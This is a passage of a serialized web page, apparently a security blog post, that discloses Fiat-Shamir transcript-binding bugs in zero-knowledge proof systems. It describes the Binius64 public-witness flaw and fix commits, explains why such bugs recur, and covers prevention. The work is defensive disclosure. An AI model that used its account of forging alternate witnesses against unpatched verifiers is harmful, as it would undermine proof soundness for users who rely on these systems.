pass.",{"type":21,"tag":22,"props":124050,"children":124051},{},[124052,124056,124058,124065,124066,124069,124076],{"type":21,"tag":8055,"props":124053,"children":124054},{},[124055],{"type":26,"value":119054},{"type":26,"value":124057}," Fixed on 21st January 2026 via ",{"type":21,"tag":29,"props":124059,"children":124062},{"href":124060,"rel":124061},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[33],[124063],{"type":26,"value":124064},"commit 4a8c2be",{"type":26,"value":9187},{"type":21,"tag":33663,"props":124067,"children":124068},{},[],{"type":21,"tag":29,"props":124070,"children":124073},{"href":124071,"rel":124072},"https://blog.polyhedra.network/expander-bug-bounty/",[33],[124074],{"type":26,"value":124075},"Claimed 500k Bug bounty",{"type":26,"value":124077}," award pending",{"type":21,"tag":21491,"props":124079,"children":124080},{},[],{"type":21,"tag":114,"props":124082,"children":124084},{"id":124083},"binius64",[124085],{"type":26,"value":110187},{"type":21,"tag":22,"props":124087,"children":124088},{},[124089,124091,124218],{"type":26,"value":124090},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":21,"tag":78,"props":124092,"children":124094},{"className":124093},[6715,6716],[124095],{"type":21,"tag":153,"props":124096,"children":124098},{"className":124097},[6721],[124099],{"type":21,"tag":153,"props":124100,"children":124102},{"className":124101,"ariaHidden":3294},[6726],[124103],{"type":21,"tag":153,"props":124104,"children":124106},{"className":124105},[6731],[124107,124112],{"type":21,"tag":153,"props":124108,"children":124111},{"className":124109,"style":124110},[6736],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":21,"tag":153,"props":124113,"children":124115},{"className":124114},[6742],[124116,124123],{"type":21,"tag":153,"props":124117,"children":124120},{"className":124118},[6742,124119],"mathbb",[124121],{"type":26,"value":124122},"F",{"type":21,"tag":153,"props":124124,"children":124126},{"className":124125},[6757],[124127],{"type":21,"tag":153,"props":124128,"children":124130},{"className":124129},[6762,24334],[124131,124206],{"type":21,"tag":153,"props":124132,"children":124134},{"className":124133},[6767],[124135,124201],{"type":21,"tag":153,"props":124136,"children":124138},{"className":124137,"style":114676},[6772],[124139],{"type":21,"tag":153,"props":124140,"children":124142},{"style":124141},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[124143,124147],{"type":21,"tag":153,"props":124144,"children":124146},{"className":124145,"style":6782},[6781],[],{"type":21,"tag":153,"props":124148,"children":124150},{"className":124149},[6787,6788,6789,6790],[124151],{"type":21,"tag":153,"props":124152,"children":124154},{"className":124153},[6742,6790],[124155],{"type":21,"tag":153,"props":124156,"children":124158},{"className":124157},[6742,6790],[124159,124164],{"type":21,"tag":153,"props":124160,"children":124162},{"className":124161},[6742,6790],[124163],{"type":26,"value":5873},{"type":21,"tag":153,"props":124165,"children":124167},{"className":124166},[6757],[124168],{"type":21,"tag":153,"props":124169,"children":124171},{"className":124170},[6762],[124172],{"type":21,"tag":153,"props":124173,"children":124175},{"className":124174},[6767],[124176],{"type":21,"tag":153,"props":124177,"children":124180},{"className":124178,"style":124179},[6772],"height:0.7463em;",[124181],{"type":21,"tag":153,"props":124182,"children":124183},{"style":114801},[124184,124188],{"type":21,"tag":153,"props":124185,"children":124187},{"className":124186,"style":111204},[6781],[],{"type":21,"tag":153,"props":124189,"children":124191},{"className":124190},[6787,111209,111210,6790],[124192],{"type":21,"tag":153,"props":124193,"children":124195},{"className":124194},[6742,6790],[124196],{"type":21,"tag":153,"props":124197,"children":124199},{"className":124198},[6742,6790],[124200],{"type":26,"value":3931},{"type":21,"tag":153,"props":124202,"children":124204},{"className":124203},[24437],[124205],{"type":26,"value":24440},{"type":21,"tag":153,"props":124207,"children":124209},{"className":124208},[6767],[124210],{"type":21,"tag":153,"props":124211,"children":124214},{"className":124212,"style":124213},[6772],"height:0.1776em;",[124215],{"type":21,"tag":153,"props":124216,"children":124217},{},[],{"type":26,"value":124219}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":21,"tag":22,"props":124221,"children":124222},{},[124223,124225,124230],{"type":26,"value":124224},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":21,"tag":8055,"props":124226,"children":124227},{},[124228],{"type":26,"value":124229},"Shift Protocol",{"type":26,"value":124231}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":21,"tag":22,"props":124233,"children":124234},{},[124235],{"type":21,"tag":8055,"props":124236,"children":124237},{},[124238],{"type":26,"value":123656},{"type":21,"tag":22,"props":124240,"children":124241},{},[124242],{"type":26,"value":124243},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":21,"tag":143,"props":124245,"children":124247},{"code":124246,"language":147,"meta":7,"className":145,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[124248],{"type":21,"tag":78,"props":124249,"children":124250},{"__ignoreMap":7},[124251,124286,124311,124345,124353],{"type":21,"tag":153,"props":124252,"children":124253},{"class":155,"line":156},[124254,124258,124262,124266,124270,124274,124278,124282],{"type":21,"tag":153,"props":124255,"children":124256},{"style":170},[124257],{"type":26,"value":173},{"type":21,"tag":153,"props":124259,"children":124260},{"style":170},[124261],{"type":26,"value":178},{"type":21,"tag":153,"props":124263,"children":124264},{"style":181},[124265],{"type":26,"value":10892},{"type":21,"tag":153,"props":124267,"children":124268},{"style":160},[124269],{"type":26,"value":8537},{"type":21,"tag":153,"props":124271,"children":124272},{"style":214},[124273],{"type":26,"value":124122},{"type":21,"tag":153,"props":124275,"children":124276},{"style":160},[124277],{"type":26,"value":1670},{"type":21,"tag":153,"props":124279,"children":124280},{"style":214},[124281],{"type":26,"value":118573},{"type":21,"tag":153,"props":124283,"children":124284},{"style":160},[124285],{"type":26,"value":9318},{"type":21,"tag":153,"props":124287,"children":124288},{"class":155,"line":166},[124289,124294,124298,124302,124307],{"type":21,"tag":153,"props":124290,"children":124291},{"style":192},[124292],{"type":26,"value":124293},"    constraint_system",{"type":21,"tag":153,"props":124295,"children":124296},{"style":198},[124297],{"type":26,"value":201},{"type":21,"tag":153,"props":124299,"children":124300},{"style":198},[124301],{"type":26,"value":206},{"type":21,"tag":153,"props":124303,"children":124304},{"style":214},[124305],{"type":26,"value":124306},"ConstraintSystem",{"type":21,"tag":153,"props":124308,"children":124309},{"style":160},[124310],{"type":26,"value":792},{"type":21,"tag":153,"props":124312,"children":124313},{"class":155,"line":225},[124314,124318,124322,124326,124330,124335,124340],{"type":21,"tag":153,"props":124315,"children":124316},{"style":192},[124317],{"type":26,"value":10249},{"type":21,"tag":153,"props":124319,"children":124320},{"style":198},[124321],{"type":26,"value":201},{"type":21,"tag":153,"props":124323,"children":124324},{"style":198},[124325],{"type":26,"value":206},{"type":21,"tag":153,"props":124327,"children":124328},{"style":160},[124329],{"type":26,"value":211},{"type":21,"tag":153,"props":124331,"children":124332},{"style":214},[124333],{"type":26,"value":124334},"Word",{"type":21,"tag":153,"props":124336,"children":124337},{"style":160},[124338],{"type":26,"value":124339},"],    ",{"type":21,"tag":153,"props":124341,"children":124342},{"style":3050},[124343],{"type":26,"value":124344},"// \u003C- NEVER ABSORBED\n",{"type":21,"tag":153,"props":124346,"children":124347},{"class":155,"line":239},[124348],{"type":21,"tag":153,"props":124349,"children":124350},{"style":3050},[124351],{"type":26,"value":124352},"    // ...\n",{"type":21,"tag":153,"props":124354,"children":124355},{"class":155,"line":382},[124356,124360,124364,124368,124372,124377,124381,124385,124389,124393],{"type":21,"tag":153,"props":124357,"children":124358},{"style":160},[124359],{"type":26,"value":2362},{"type":21,"tag":153,"props":124361,"children":124362},{"style":198},[124363],{"type":26,"value":2953},{"type":21,"tag":153,"props":124365,"children":124366},{"style":214},[124367],{"type":26,"value":16475},{"type":21,"tag":153,"props":124369,"children":124370},{"style":160},[124371],{"type":26,"value":8537},{"type":21,"tag":153,"props":124373,"children":124374},{"style":214},[124375],{"type":26,"value":124376},"VerifyOutput",{"type":21,"tag":153,"props":124378,"children":124379},{"style":160},[124380],{"type":26,"value":8537},{"type":21,"tag":153,"props":124382,"children":124383},{"style":214},[124384],{"type":26,"value":124122},{"type":21,"tag":153,"props":124386,"children":124387},{"style":160},[124388],{"type":26,"value":9360},{"type":21,"tag":153,"props":124390,"children":124391},{"style":214},[124392],{"type":26,"value":40091},{"type":21,"tag":153,"props":124394,"children":124395},{"style":160},[124396],{"type":26,"value":4308},{"type":21,"tag":22,"props":124398,"children":124399},{},[124400,124402,124408,124409,124415,124417,124421],{"type":26,"value":124401},"In the shift protocol, challenges ",{"type":21,"tag":78,"props":124403,"children":124405},{"className":124404},[],[124406],{"type":26,"value":124407},"r_j",{"type":26,"value":52},{"type":21,"tag":78,"props":124410,"children":124412},{"className":124411},[],[124413],{"type":26,"value":124414},"inout_eval_point",{"type":26,"value":124416}," are sampled ",{"type":21,"tag":8055,"props":124418,"children":124419},{},[124420],{"type":26,"value":106888},{"type":26,"value":124422}," the public witness is bound.",{"type":21,"tag":22,"props":124424,"children":124425},{},[124426],{"type":21,"tag":8055,"props":124427,"children":124428},{},[124429],{"type":26,"value":117776},{"type":21,"tag":22,"props":124431,"children":124432},{},[124433],{"type":21,"tag":3644,"props":124434,"children":124437},{"alt":124435,"src":124436},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":21,"tag":22,"props":124439,"children":124440},{},[124441],{"type":26,"value":124442},"During verification",{"type":21,"tag":126,"props":124444,"children":124445},{},[124446,124466,124478,124497],{"type":21,"tag":91,"props":124447,"children":124448},{},[124449,124451,124456,124458,124464],{"type":26,"value":124450},"Sumcheck produces challenge points ",{"type":21,"tag":78,"props":124452,"children":124454},{"className":124453},[],[124455],{"type":26,"value":124407},{"type":26,"value":124457}," (bit indices) and ",{"type":21,"tag":78,"props":124459,"children":124461},{"className":124460},[],[124462],{"type":26,"value":124463},"r_s",{"type":26,"value":124465}," (shift indices)",{"type":21,"tag":91,"props":124467,"children":124468},{},[124469,124471,124476],{"type":26,"value":124470},"Verifier samples ",{"type":21,"tag":78,"props":124472,"children":124474},{"className":124473},[],[124475],{"type":26,"value":124414},{"type":26,"value":124477}," from transcript",{"type":21,"tag":91,"props":124479,"children":124480},{},[124481,124483,124489,124491,124496],{"type":26,"value":124482},"Verifier computes ",{"type":21,"tag":78,"props":124484,"children":124486},{"className":124485},[],[124487],{"type":26,"value":124488},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":26,"value":124490}," using the unbound ",{"type":21,"tag":78,"props":124492,"children":124494},{"className":124493},[],[124495],{"type":26,"value":63968},{"type":26,"value":20830},{"type":21,"tag":91,"props":124498,"children":124499},{},[124500,124501,124507],{"type":26,"value":19311},{"type":21,"tag":78,"props":124502,"children":124504},{"className":124503},[],[124505],{"type":26,"value":124506},"public_eval",{"type":26,"value":124508}," feeds into subsequent verification equations",{"type":21,"tag":22,"props":124510,"children":124511},{},[124512],{"type":26,"value":124513},"The MLE evaluation is linear in the public witness bits:",{"type":21,"tag":22,"props":124515,"children":124516},{},[124517],{"type":21,"tag":78,"props":124518,"children":124520},{"className":124519},[6715,6716],[124521],{"type":21,"tag":153,"props":124522,"children":124524},{"className":124523},[6721],[124525],{"type":21,"tag":153,"props":124526,"children":124528},{"className":124527,"ariaHidden":3294},[6726],[124529,124573,124713,124825],{"type":21,"tag":153,"props":124530,"children":124532},{"className":124531},[6731],[124533,124537,124546,124551,124560,124564,124569],{"type":21,"tag":153,"props":124534,"children":124536},{"className":124535,"style":96757},[6736],[],{"type":21,"tag":153,"props":124538,"children":124540},{"className":124539},[6742,26],[124541],{"type":21,"tag":153,"props":124542,"children":124544},{"className":124543},[6742],[124545],{"type":26,"value":63968},{"type":21,"tag":153,"props":124547,"children":124549},{"className":124548,"style":95344},[6742],[124550],{"type":26,"value":5834},{"type":21,"tag":153,"props":124552,"children":124554},{"className":124553},[6742,26],[124555],{"type":21,"tag":153,"props":124556,"children":124558},{"className":124557},[6742],[124559],{"type":26,"value":40241},{"type":21,"tag":153,"props":124561,"children":124563},{"className":124562,"style":6918},[6820],[],{"type":21,"tag":153,"props":124565,"children":124567},{"className":124566},[6923],[124568],{"type":26,"value":2367},{"type":21,"tag":153,"props":124570,"children":124572},{"className":124571,"style":6918},[6820],[],{"type":21,"tag":153,"props":124574,"children":124576},{"className":124575},[6731],[124577,124581,124653,124657,124670,124675,124680,124685,124690,124695,124700,124704,124709],{"type":21,"tag":153,"props":124578,"children":124580},{"className":124579,"style":121106},[6736],[],{"type":21,"tag":153,"props":124582,"children":124584},{"className":124583},[24316],[124585,124590],{"type":21,"tag":153,"props":124586,"children":124588},{"className":124587,"style":24323},[24316,24321,24322],[124589],{"type":26,"value":111139},{"type":21,"tag":153,"props":124591,"children":124593},{"className":124592},[6757],[124594],{"type":21,"tag":153,"props":124595,"children":124597},{"className":124596},[6762,24334],[124598,124642],{"type":21,"tag":153,"props":124599,"children":124601},{"className":124600},[6767],[124602,124637],{"type":21,"tag":153,"props":124603,"children":124605},{"className":124604,"style":116016},[6772],[124606],{"type":21,"tag":153,"props":124607,"children":124608},{"style":24347},[124609,124613],{"type":21,"tag":153,"props":124610,"children":124612},{"className":124611,"style":6782},[6781],[],{"type":21,"tag":153,"props":124614,"children":124616},{"className":124615},[6787,6788,6789,6790],[124617],{"type":21,"tag":153,"props":124618,"children":124620},{"className":124619},[6742,6790],[124621,124627,124632],{"type":21,"tag":153,"props":124622,"children":124625},{"className":124623,"style":124624},[6742,24280,6790],"margin-right:0.02691em;",[124626],{"type":26,"value":51862},{"type":21,"tag":153,"props":124628,"children":124630},{"className":124629},[6852,6790],[124631],{"type":26,"value":6855},{"type":21,"tag":153,"props":124633,"children":124635},{"className":124634},[6742,24280,6790],[124636],{"type":26,"value":5972},{"type":21,"tag":153,"props":124638,"children":124640},{"className":124639},[24437],[124641],{"type":26,"value":24440},{"type":21,"tag":153,"props":124643,"children":124645},{"className":124644},[6767],[124646],{"type":21,"tag":153,"props":124647,"children":124649},{"className":124648,"style":116582},[6772],[124650],{"type":21,"tag":153,"props":124651,"children":124652},{},[],{"type":21,"tag":153,"props":124654,"children":124656},{"className":124655,"style":6859},[6820],[],{"type":21,"tag":153,"props":124658,"children":124660},{"className":124659},[6742],[124661],{"type":21,"tag":153,"props":124662,"children":124664},{"className":124663},[6742,26],[124665],{"type":21,"tag":153,"props":124666,"children":124668},{"className":124667},[6742],[124669],{"type":26,"value":63968},{"type":21,"tag":153,"props":124671,"children":124673},{"className":124672},[24409],[124674],{"type":26,"value":211},{"type":21,"tag":153,"props":124676,"children":124678},{"className":124677,"style":124624},[6742,24280],[124679],{"type":26,"value":51862},{"type":21,"tag":153,"props":124681,"children":124683},{"className":124682},[24431],[124684],{"type":26,"value":350},{"type":21,"tag":153,"props":124686,"children":124688},{"className":124687},[24409],[124689],{"type":26,"value":211},{"type":21,"tag":153,"props":124691,"children":124693},{"className":124692},[6742,24280],[124694],{"type":26,"value":5972},{"type":21,"tag":153,"props":124696,"children":124698},{"className":124697},[24431],[124699],{"type":26,"value":350},{"type":21,"tag":153,"props":124701,"children":124703},{"className":124702,"style":6821},[6820],[],{"type":21,"tag":153,"props":124705,"children":124707},{"className":124706},[6826],[124708],{"type":26,"value":113606},{"type":21,"tag":153,"props":124710,"children":124712},{"className":124711,"style":6821},[6820],[],{"type":21,"tag":153,"props":124714,"children":124716},{"className":124715},[6731],[124717,124722,124731,124736,124741,124746,124750,124807,124812,124816,124821],{"type":21,"tag":153,"props":124718,"children":124721},{"className":124719,"style":124720},[6736],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":21,"tag":153,"props":124723,"children":124725},{"className":124724},[6742,26],[124726],{"type":21,"tag":153,"props":124727,"children":124729},{"className":124728},[6742],[124730],{"type":26,"value":114933},{"type":21,"tag":153,"props":124732,"children":124734},{"className":124733},[24409],[124735],{"type":26,"value":189},{"type":21,"tag":153,"props":124737,"children":124739},{"className":124738},[6742,24280],[124740],{"type":26,"value":5972},{"type":21,"tag":153,"props":124742,"children":124744},{"className":124743},[6852],[124745],{"type":26,"value":6855},{"type":21,"tag":153,"props":124747,"children":124749},{"className":124748,"style":6859},[6820],[],{"type":21,"tag":153,"props":124751,"children":124753},{"className":124752},[6742],[124754,124759],{"type":21,"tag":153,"props":124755,"children":124757},{"className":124756,"style":95344},[6742,24280],[124758],{"type":26,"value":96163},{"type":21,"tag":153,"props":124760,"children":124762},{"className":124761},[6757],[124763],{"type":21,"tag":153,"props":124764,"children":124766},{"className":124765},[6762,24334],[124767,124796],{"type":21,"tag":153,"props":124768,"children":124770},{"className":124769},[6767],[124771,124791],{"type":21,"tag":153,"props":124772,"children":124774},{"className":124773,"style":95873},[6772],[124775],{"type":21,"tag":153,"props":124776,"children":124777},{"style":112343},[124778,124782],{"type":21,"tag":153,"props":124779,"children":124781},{"className":124780,"style":6782},[6781],[],{"type":21,"tag":153,"props":124783,"children":124785},{"className":124784},[6787,6788,6789,6790],[124786],{"type":21,"tag":153,"props":124787,"children":124789},{"className":124788,"style":116567},[6742,24280,6790],[124790],{"type":26,"value":11382},{"type":21,"tag":153,"props":124792,"children":124794},{"className":124793},[24437],[124795],{"type":26,"value":24440},{"type":21,"tag":153,"props":124797,"children":124799},{"className":124798},[6767],[124800],{"type":21,"tag":153,"props":124801,"children":124803},{"className":124802,"style":121254},[6772],[124804],{"type":21,"tag":153,"props":124805,"children":124806},{},[],{"type":21,"tag":153,"props":124808,"children":124810},{"className":124809},[24431],[124811],{"type":26,"value":2071},{"type":21,"tag":153,"props":124813,"children":124815},{"className":124814,"style":6821},[6820],[],{"type":21,"tag":153,"props":124817,"children":124819},{"className":124818},[6826],[124820],{"type":26,"value":113606},{"type":21,"tag":153,"props":124822,"children":124824},{"className":124823,"style":6821},[6820],[],{"type":21,"tag":153,"props":124826,"children":124828},{"className":124827},[6731],[124829,124833,124842,124847,124852,124857,124861,124871,124876,124885,124890,124899],{"type":21,"tag":153,"props":124830,"children":124832},{"className":124831,"style":95286},[6736],[],{"type":21,"tag":153,"props":124834,"children":124836},{"className":124835},[6742,26],[124837],{"type":21,"tag":153,"props":124838,"children":124840},{"className":124839},[6742],[124841],{"type":26,"value":114933},{"type":21,"tag":153,"props":124843,"children":124845},{"className":124844},[24409],[124846],{"type":26,"value":189},{"type":21,"tag":153,"props":124848,"children":124850},{"className":124849,"style":124624},[6742,24280],[124851],{"type":26,"value":51862},{"type":21,"tag":153,"props":124853,"children":124855},{"className":124854},[6852],[124856],{"type":26,"value":6855},{"type":21,"tag":153,"props":124858,"children":124860},{"className":124859,"style":6859},[6820],[],{"type":21,"tag":153,"props":124862,"children":124864},{"className":124863},[6742,26],[124865],{"type":21,"tag":153,"props":124866,"children":124868},{"className":124867},[6742],[124869],{"type":26,"value":124870},"inout",{"type":21,"tag":153,"props":124872,"children":124874},{"className":124873,"style":95344},[6742],[124875],{"type":26,"value":5834},{"type":21,"tag":153,"props":124877,"children":124879},{"className":124878},[6742,26],[124880],{"type":21,"tag":153,"props":124881,"children":124883},{"className":124882},[6742],[124884],{"type":26,"value":40241},{"type":21,"tag":153,"props":124886,"children":124888},{"className":124887,"style":95344},[6742],[124889],{"type":26,"value":5834},{"type":21,"tag":153,"props":124891,"children":124893},{"className":124892},[6742,26],[124894],{"type":21,"tag":153,"props":124895,"children":124897},{"className":124896},[6742],[124898],{"type":26,"value":120129},{"type":21,"tag":153,"props":124900,"children":124902},{"className":124901},[24431],[124903],{"type":26,"value":2071},{"type":21,"tag":22,"props":124905,"children":124906},{},[124907,124909,124914,124916,124989],{"type":26,"value":124908},"With challenges fixed (independent of ",{"type":21,"tag":78,"props":124910,"children":124912},{"className":124911},[],[124913],{"type":26,"value":63968},{"type":26,"value":124915},"), an attacker can find an alternate witness ",{"type":21,"tag":78,"props":124917,"children":124919},{"className":124918},[6715,6716],[124920],{"type":21,"tag":153,"props":124921,"children":124923},{"className":124922},[6721],[124924],{"type":21,"tag":153,"props":124925,"children":124927},{"className":124926,"ariaHidden":3294},[6726],[124928],{"type":21,"tag":153,"props":124929,"children":124931},{"className":124930},[6731],[124932,124937],{"type":21,"tag":153,"props":124933,"children":124936},{"className":124934,"style":124935},[6736],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":21,"tag":153,"props":124938,"children":124940},{"className":124939},[6742],[124941,124950],{"type":21,"tag":153,"props":124942,"children":124944},{"className":124943},[6742,26],[124945],{"type":21,"tag":153,"props":124946,"children":124948},{"className":124947},[6742],[124949],{"type":26,"value":63968},{"type":21,"tag":153,"props":124951,"children":124953},{"className":124952},[6757],[124954],{"type":21,"tag":153,"props":124955,"children":124957},{"className":124956},[6762],[124958],{"type":21,"tag":153,"props":124959,"children":124961},{"className":124960},[6767],[124962],{"type":21,"tag":153,"props":124963,"children":124966},{"className":124964,"style":124965},[6772],"height:0.8362em;",[124967],{"type":21,"tag":153,"props":124968,"children":124970},{"style":124969},"top:-3.1473em;margin-right:0.05em;",[124971,124975],{"type":21,"tag":153,"props":124972,"children":124974},{"className":124973,"style":6782},[6781],[],{"type":21,"tag":153,"props":124976,"children":124978},{"className":124977},[6787,6788,6789,6790],[124979],{"type":21,"tag":153,"props":124980,"children":124982},{"className":124981},[6742,6790],[124983],{"type":21,"tag":153,"props":124984,"children":124986},{"className":124985},[6742,6790],[124987],{"type":26,"value":124988},"′",{"type":26,"value":124990}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":21,"tag":22,"props":124992,"children":124993},{},[124994,124998,125000],{"type":21,"tag":8055,"props":124995,"children":124996},{},[124997],{"type":26,"value":119054},{"type":26,"value":124999}," Fixed on December 29, 2025 via ",{"type":21,"tag":29,"props":125001,"children":125004},{"href":125002,"rel":125003},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[33],[125005],{"type":26,"value":125006},"commit 86a515f",{"type":21,"tag":21491,"props":125008,"children":125009},{},[],{"type":21,"tag":66,"props":125011,"children":125013},{"id":125012},"why-does-this-keep-happening",[125014],{"type":26,"value":125015},"Why Does This Keep Happening?",{"type":21,"tag":22,"props":125017,"children":125018},{},[125019],{"type":26,"value":125020},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":21,"tag":114,"props":125022,"children":125024},{"id":125023},"academic-papers-dont-specify-fiat-shamir",[125025],{"type":26,"value":125026},"Academic Papers Don't Specify Fiat-Shamir",{"type":21,"tag":22,"props":125028,"children":125029},{},[125030,125032,125037,125039,125064,125066,125069,125071,125096,125098,125125],{"type":26,"value":125031},"Academic papers usually describe ",{"type":21,"tag":5302,"props":125033,"children":125034},{},[125035],{"type":26,"value":125036},"interactive",{"type":26,"value":125038}," protocols: \"Prover sends ",{"type":21,"tag":78,"props":125040,"children":125042},{"className":125041},[6715,6716],[125043],{"type":21,"tag":153,"props":125044,"children":125046},{"className":125045},[6721],[125047],{"type":21,"tag":153,"props":125048,"children":125050},{"className":125049,"ariaHidden":3294},[6726],[125051],{"type":21,"tag":153,"props":125052,"children":125054},{"className":125053},[6731],[125055,125059],{"type":21,"tag":153,"props":125056,"children":125058},{"className":125057,"style":24275},[6736],[],{"type":21,"tag":153,"props":125060,"children":125062},{"className":125061,"style":24812},[6742,24280],[125063],{"type":26,"value":118573},{"type":26,"value":125065},". Verifier sends",{"type":21,"tag":33663,"props":125067,"children":125068},{},[],{"type":26,"value":125070},"random ",{"type":21,"tag":78,"props":125072,"children":125074},{"className":125073},[6715,6716],[125075],{"type":21,"tag":153,"props":125076,"children":125078},{"className":125077},[6721],[125079],{"type":21,"tag":153,"props":125080,"children":125082},{"className":125081,"ariaHidden":3294},[6726],[125083],{"type":21,"tag":153,"props":125084,"children":125086},{"className":125085},[6731],[125087,125091],{"type":21,"tag":153,"props":125088,"children":125090},{"className":125089,"style":113185},[6736],[],{"type":21,"tag":153,"props":125092,"children":125094},{"className":125093,"style":95344},[6742,24280],[125095],{"type":26,"value":96163},{"type":26,"value":125097},". Prover sends ",{"type":21,"tag":78,"props":125099,"children":125101},{"className":125100},[6715,6716],[125102],{"type":21,"tag":153,"props":125103,"children":125105},{"className":125104},[6721],[125106],{"type":21,"tag":153,"props":125107,"children":125109},{"className":125108,"ariaHidden":3294},[6726],[125110],{"type":21,"tag":153,"props":125111,"children":125113},{"className":125112},[6731],[125114,125118],{"type":21,"tag":153,"props":125115,"children":125117},{"className":125116,"style":24275},[6736],[],{"type":21,"tag":153,"props":125119,"children":125122},{"className":125120,"style":125121},[6742,24280],"margin-right:0.00773em;",[125123],{"type":26,"value":125124},"R",{"type":26,"value":125126},".\"",{"type":21,"tag":22,"props":125128,"children":125129},{},[125130,125132,125157,125159,125184],{"type":26,"value":125131},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":21,"tag":78,"props":125133,"children":125135},{"className":125134},[6715,6716],[125136],{"type":21,"tag":153,"props":125137,"children":125139},{"className":125138},[6721],[125140],{"type":21,"tag":153,"props":125141,"children":125143},{"className":125142,"ariaHidden":3294},[6726],[125144],{"type":21,"tag":153,"props":125145,"children":125147},{"className":125146},[6731],[125148,125152],{"type":21,"tag":153,"props":125149,"children":125151},{"className":125150,"style":24275},[6736],[],{"type":21,"tag":153,"props":125153,"children":125155},{"className":125154,"style":24812},[6742,24280],[125156],{"type":26,"value":118573},{"type":26,"value":125158}," before sampling ",{"type":21,"tag":78,"props":125160,"children":125162},{"className":125161},[6715,6716],[125163],{"type":21,"tag":153,"props":125164,"children":125166},{"className":125165},[6721],[125167],{"type":21,"tag":153,"props":125168,"children":125170},{"className":125169,"ariaHidden":3294},[6726],[125171],{"type":21,"tag":153,"props":125172,"children":125174},{"className":125173},[6731],[125175,125179],{"type":21,"tag":153,"props":125176,"children":125178},{"className":125177,"style":113185},[6736],[],{"type":21,"tag":153,"props":125180,"children":125182},{"className":125181,"style":95344},[6742,24280],[125183],{"type":26,"value":96163},{"type":26,"value":125185},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":21,"tag":22,"props":125187,"children":125188},{},[125189],{"type":26,"value":125190},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":21,"tag":114,"props":125192,"children":125194},{"id":125193},"the-hot-potato-problem",[125195],{"type":26,"value":125196},"The Hot Potato Problem",{"type":21,"tag":22,"props":125198,"children":125199},{},[125200],{"type":26,"value":125201},"Modern zkVMs are modular:",{"type":21,"tag":22,"props":125203,"children":125204},{},[125205],{"type":21,"tag":3644,"props":125206,"children":125209},{"alt":125207,"src":125208},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":21,"tag":22,"props":125211,"children":125212},{},[125213],{"type":26,"value":125214},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":21,"tag":114,"props":125216,"children":125218},{"id":125217},"optimization-pressure",[125219],{"type":26,"value":125220},"Optimization Pressure",{"type":21,"tag":22,"props":125222,"children":125223},{},[125224],{"type":26,"value":125225},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":21,"tag":22,"props":125227,"children":125228},{},[125229],{"type":26,"value":125230},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":21,"tag":114,"props":125232,"children":125234},{"id":125233},"testing-doesnt-catch-adversarial-inputs",[125235],{"type":26,"value":125236},"Testing Doesn't Catch Adversarial Inputs",{"type":21,"tag":22,"props":125238,"children":125239},{},[125240],{"type":26,"value":125241},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":21,"tag":21491,"props":125243,"children":125244},{},[],{"type":21,"tag":66,"props":125246,"children":125248},{"id":125247},"how-to-find-and-fix-these-bugs",[125249],{"type":26,"value":125250},"How to Find and Fix These Bugs",{"type":21,"tag":114,"props":125252,"children":125254},{"id":125253},"prevention",[125255],{"type":26,"value":125256},"Prevention",{"type":21,"tag":22,"props":125258,"children":125259},{},[125260],{"type":26,"value":125261},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":21,"tag":22,"props":125263,"children":125264},{},[125265],{"type":26,"value":125266},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":21,"tag":22,"props":125268,"children":125269},{},[125270],{"type":26,"value":125271},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":21,"tag":22,"props":125273,"children":125274},{},[125275],{"type":26,"value":125276},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":21,"tag":22,"props":125278,"children":125279},{},[125280],{"type":26,"value":125281},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":21,"tag":21491,"props":125283,"children":125284},{},[],{"type":21,"tag":66,"props":125286,"children":125288},{"id":125287},"responsible-disclosure-timeline",[125289],{"type":26,"value":125290},"Responsible Disclosure 